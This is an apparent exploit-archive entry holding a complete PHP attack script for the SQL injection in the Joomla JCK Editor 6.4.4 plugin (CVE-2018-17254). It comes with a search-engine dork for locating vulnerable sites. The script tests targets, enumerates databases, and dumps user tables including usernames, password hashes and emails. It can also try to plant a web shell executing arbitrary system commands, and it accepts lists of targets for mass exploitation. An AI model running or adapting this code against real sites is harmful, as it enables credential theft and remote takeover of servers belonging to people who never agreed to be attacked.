Joomla JCK Editor plugin version 6.4.4 remote SQL injection exploit.
b3c25ce2958275cc0085c042a311c57b# Exploit Title: Joomla JCK Editor 6.4.4 - 'parent' SQL Injection (2)
# Googke Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/
# Date: 05/03/2021
# Exploit Author: Nicholas Ferreira
# Vendor Homepage: http://docs.arkextensions.com/downloads/jck-editor
# Version: 6.4.4
# Tested on: Debian 10
# CVE : CVE-2018-17254
# PHP version (exploit): 7.3.27
# POC: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa
<?php
$vuln_file = '/editors/jckeditor/plugins/jtreelink/dialogs/links.php';
function payload($str1, $str2=""){
return '?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,'.$str1.',NULL,NULL,NULL,NULL,NULL'.$str2.'--%20aa'; #"
}
function get_request($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
#curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function parse_columns($columns){
$parsed_columns = array();
foreach($columns as $col){
array_push($parsed_columns, $col);
array_push($parsed_columns, "0x242324"); //delimiter = $#$
}
return $parsed_columns;
}
function inject($url, $payload){
global $vuln_file;
$request = get_request($url.$vuln_file.$payload);
preg_match_all('/url ="(.*)">/', $request, $output);
return $output;
}
######
function is_vulnerable($url){
global $vuln_file;
$output = inject($url, payload("0x6861636b6564"));
if(isset($output[1][0])){
if(base64_encode($output[1][0]) == "aGFja2Vk"){ //checking if we can inject
return 1;
}
}
return 0;
}
function get_db_names($url){
global $vuln_file;
$db_names = array();
$output = inject($url, payload("schema_name", "%20from%20information_schema.schemata"));
foreach($output[1] as $db){
array_push($db_names, $db);
}
return $db_names;
}
function get_table_names($url, $db){
global $vuln_file;
$table_names = array();
$output = inject($url, payload("table_name", "%20from%20information_schema.tables%20WHERE%20table_schema=%27".$db."%27"));
foreach($output as $table){
array_push($table_names, $table);
}
return $table_names;
}
function get_column_names($url, $table){
global $vuln_file;
$column_names = array();
$output = inject($url, payload("column_name", "%20from%20information_schema.columns%20WHERE%20table_name=%27".$table."%27"));
foreach($output as $column){
array_push($column_names, $column);
}
return $column_names;
}
function dump_columns($url, $columns, $dbname, $table){
global $vuln_file;
$column_dump = array();
$related_arr = array();
$data = array();
$output = inject($url, payload("concat(".implode(',', parse_columns($columns)).")", "%20from%20".$dbname.".".$table));
foreach($output[1] as $column){
$exploded = explode("$#$", $column);
array_push($data, $exploded);
}
foreach($data as $user_info){
array_pop($user_info);
array_push($related_arr, array_combine($columns, $user_info));
}
return $related_arr;
}
function rce($url){ //probably won't work =(
global $vuln_file;
if(!is_vulnerable($url)){
die(red("[-] Target isn't vulnerable."));
}
$server_root = array("/var/www/", "/var/www/html/", "/usr/local/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/", "/usr/local/apache2/htdocs/");
$rand_content = "AklOGg8kJ7GfbIuBYfDS2apD4L2vADk8QgODUg2OmDNy2";
$payl0ad = "'<?php system(\$_GET[0]); ?> ".$rand_content."'";
$filename = rand(1000, 7359).".php";
echo cyan("[i]")." Trying to upload a RCE shell...\n";
foreach($server_root as $path){
inject($url, payload($payl0ad, " INTO OUTFILE '".$path.$filename."'"));
}
$get_shell = get_request($url."/".$filename);
if(strpos($get_shell, $rand_content) !== false){
echo green("[+] RCE shell successfully uploaded! =)\n");
die("Usage: ".$url."/".$filename."?0=whoami\n");
}else{
echo(red("[-] ")."Could not upload RCE shell. Maybe stacked queries are not supported. =(\n");
die(cyan("[i] ")."But you can still inject SQL commands! What about dumping the users table? =)\n");
}
}
function read_file($url, $file){
global $vuln_file;
}
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function green($str){
return "\e[92m".$str."\e[0m";
}
function red($str){
return "\e[91m".$str."\e[0m";
}
function yellow($str){
return "\e[93m".$str."\e[0m";
}
function cyan($str){
return "\e[96m".$str."\e[0m";
}
function banner(){
echo "
___ _____ _ __ _____
|_ |/ __ \| | / /| _ \
| || / \/| |/ / | | | | _ _ _ __ ___ _ __ ___ _ _
| || | | \ | | | || | | || '_ ` _ \ | '_ \ / _ \| '__|
/\__/ /| \__/\| |\ \| |/ / | |_| || | | | | || |_) || __/| |
\____/ \____/\_| \_/|___/ \__,_||_| |_| |_|| .__/ \___||_|
".green("Coder: ").yellow("Nicholas Ferreira")." | |
|_|
";
}
$target = 0;
$rce = 0;
function check(){
global $argv;
global $argc;
global $target;
global $rce;
global $target_list;
global $save_output;
global $verbose;
global $less;
global $specified_db;
$short_args = "u:t:v::h::l::r::d::";
$long_args = array("url:","targets::","verbose::","help::","less::","rce::", "db::");
$options = getopt($short_args, $long_args);
if(isset($options['h']) || $argc == 1 || isset($options['help'])){
echo "JCK Editor v6.4.4 SQL Injection exploit (CVE-2018-17254)
Usage: php ".$argv[0]." -u url [-h] [-v] [-l] [-o] [-r command] [-f list_of_targets] [-d db]
-u, --url: Path to Joomla! plugins (e.g. website.com/site/plugins/)
-h, --help: Help
-v, --verbose: Verbose mode (print tables)
-l, --less: Less outputs (only Administrator usernames and passwords)
-t, --targets: Load a list of targets
-r, --rce: Try to upload a RCE shell
-d, --db: Specifies the DB to dump
";
}
if(isset($options['u'])){
$target = $options['u'];
}elseif(isset($options['url'])){
$target = $options['url'];
}else{
$target = "";
}
isset($options['v']) || isset($options['verbose']) ? $verbose = 1 : $verbose = 0;
isset($options['l']) || isset($options['less']) ? $less = 1 : $less = 0;
isset($options['r']) || isset($options['rce']) ? $rce = 1 : $rce = 0;
isset($options['f']) ? $target_list = $options['f'] : $target_list = 0;
if(isset($options['t'])){
$target_list = $options['t'];
}elseif(isset($options['targets'])){
$target_list = $options['targets'];
}else{
$target_list = 0;
}
if(isset($options['d'])){
$specified_db = $options['d'];
}elseif(isset($options['db'])){
$specified_db = $options['db'];
}else{
$specified_db = 0;
}
if(strlen($target_list) < 2){
if($target !== ""){ // check if URL is ok
if(!preg_match('/^((https?:\/\/)|(www\.)|(.*))([a-z0-9-].?)+(:[0-9]+)?(\/.*)?$/', $target)){
die(red("[i] The target must be a URL.\n"));
}
if(strpos($target, "plugins") == false){
die(red("[-] You must provide the Joomla! plugins path! (standard: exemple.com/plugins/)\n"));
}
}else{
die(cyan("[-] ")."You can get help with -h.\n");
}
}
if($target_list !== 0){ //check if target list is readable
if(!file_exists($target_list)){
die(red("[-] ")."Could not read target list file.\n");
}
}
}
function exploit($url){ // returns users and passwords
global $vuln_file;
global $verbose;
global $rce;
global $specified_db;
global $less;
echo cyan("\n=========================| ".str_replace("plugins", "", $url)." |=========================\n\n\n");
echo cyan("[+] ")."Checking if target is vulnerable...\n";
if (is_vulnerable($url)){
$main_db = inject($url, payload("database()"))[1];
$user_table = "";
$hostname = inject($url, payload("@@hostname"))[1];
$mysql_user = inject($url, payload("user()"))[1];
$mysql_version = inject($url, payload("@@version"))[1];
$connection_id = inject($url, payload("connection_id()"))[1];
echo green("[+] Target is vulnerable! =)\n\n");
echo cyan("[i] ")."Hostname: ".yellow($hostname[0])."\n";
echo cyan("[i] ")."Current database: ".yellow($main_db[0])."\n";
echo cyan("[i] ")."MySQL version: ".yellow($mysql_version[0])."\n";
echo cyan("[i] ")."MySQL user: ".yellow($mysql_user[0])."\n";
echo cyan("[i] ")."Connection ID: ".yellow($connection_id[0])."\n\n";
if($rce){
rce($url);
}
echo cyan("[+] ")."Getting DB names...\n";
$dbs = get_db_names($url);
if(count($dbs) == 0){
echo("[-] There are no DBs available on this target. =(\n");
}
$db_list = array();
foreach($dbs as $db){
$num_table = count(get_table_names($url, $db)[1]);
echo green("[+] DB found: ").cyan($db." [".$num_table." tables]")."\n";
array_push($db_list, $db);
}
if($main_db == "" && !$specified_db){
echo(red("[-] Could not find Joomla! default DB. Try to dump another DB with -d. \n"));
}
if($specified_db !== 0){ // if user doesn't specify a custom db
echo cyan("\n[+] ")."Getting tables from ".yellow($specified_db)."...\n";
$tables = get_table_names($url, $specified_db);
}else{
foreach($db_list as $new_db){
if($new_db !== "test" && strlen(strpos($new_db, "information_schema") !== false) == 0){ // neither test nor i_schema
echo cyan("\n[+] ")."Getting tables from ".yellow($new_db)."...\n";
$tables = get_table_names($url, $new_db);
}
}
}
echo cyan("[+] ").yellow(count($tables[1]))." tables found! \n";
if(count($tables[1]) == 0){
echo(red("[-] "."Site is vulnerable, but no tables were found on this DB. Try to dump another DB with -d. \n"));
}
foreach($tables[1] as $table){
if($verbose) echo $table."\n";
if(strpos($table, "_users") !== false){
$user_table = $table;
}
}
if($user_table == ""){
echo(red("[-] Could not find Joomla default users table. Try to find it manually!\n"));
}
echo cyan("[+] ")."Getting columns from ".yellow($user_table)."...\n";
$columns = get_column_names($url, $user_table);
if(count($columns) == 0){
echo(red("[-] There are no columns on this table... =(\n"));
}
if($verbose){
echo cyan("[+] ")."Columns found:\n";
foreach($columns[1] as $coll){
echo $coll."\n";
}
}
echo cyan("[+] ")."Dumping usernames from ".yellow($user_table)."...\n";
$dump = dump_columns($url, array("id","usertype", "name","username","password","email","lastvisitDate"), $db, $user_table);
if(is_array($dump) && count($dump) == 0){
$new_dump = dump_columns($url, array("id","name","username","password","email","lastvisitDate"), $db, $user_table);
if(count($new_dump) == 0){
echo(red("[-] This table is empty! =(\n"));
}else{
$dump = $new_dump;
$usertype = 0;
}
}else{
$usertype = 1;
}
echo cyan("\n[+] ")."Retrieved data:\n";
foreach($dump as $user){
if($usertype){
$adm = strpos($user['usertype'], 'Administrator') !== false;
}else{
$adm = false;
}
if($less){
if(strpos($user['usertype'], "Administrator") !== false){
echo "\n=============== ".green($user['username'])." ===============\n";
foreach($user as $key => $data){
if(strlen($data) > 0){
if($key == "username" || $key == "password" || $adm){
echo($key.": ".red($data)."\n");
}else{
echo($key.": ".$data."\n");
}
}
}
}
}else{
echo "\n=============== ".green($user['username'])." ===============\n";
foreach($user as $key => $data){
if(strlen($data) > 0){
if($key == "username" || $key == "password" || $adm){
echo($key.": ".red($data)."\n");
}else{
echo($key.": ".$data."\n");
}
}
}
}
}
echo(green("\nExploit completed! =)\n\n\n"));
}else{
echo(red("[-] Apparently, the provided target is not vulnerable. =(\n\n"));
echo(cyan("[i] ")."This may be a connectivity issue. If you're persistent, you can try again.\n");
}
}
banner();
check();
if(strlen($target_list) >1){
$targets = explode(PHP_EOL, file_get_contents($target_list)); //split by newline
foreach($targets as $website){
if($rce){
rce($target);
}else{
if(strlen($website) > 1){
exploit($website); //multiple targets
}
}
}
}else{
exploit($target); //single target
}
?>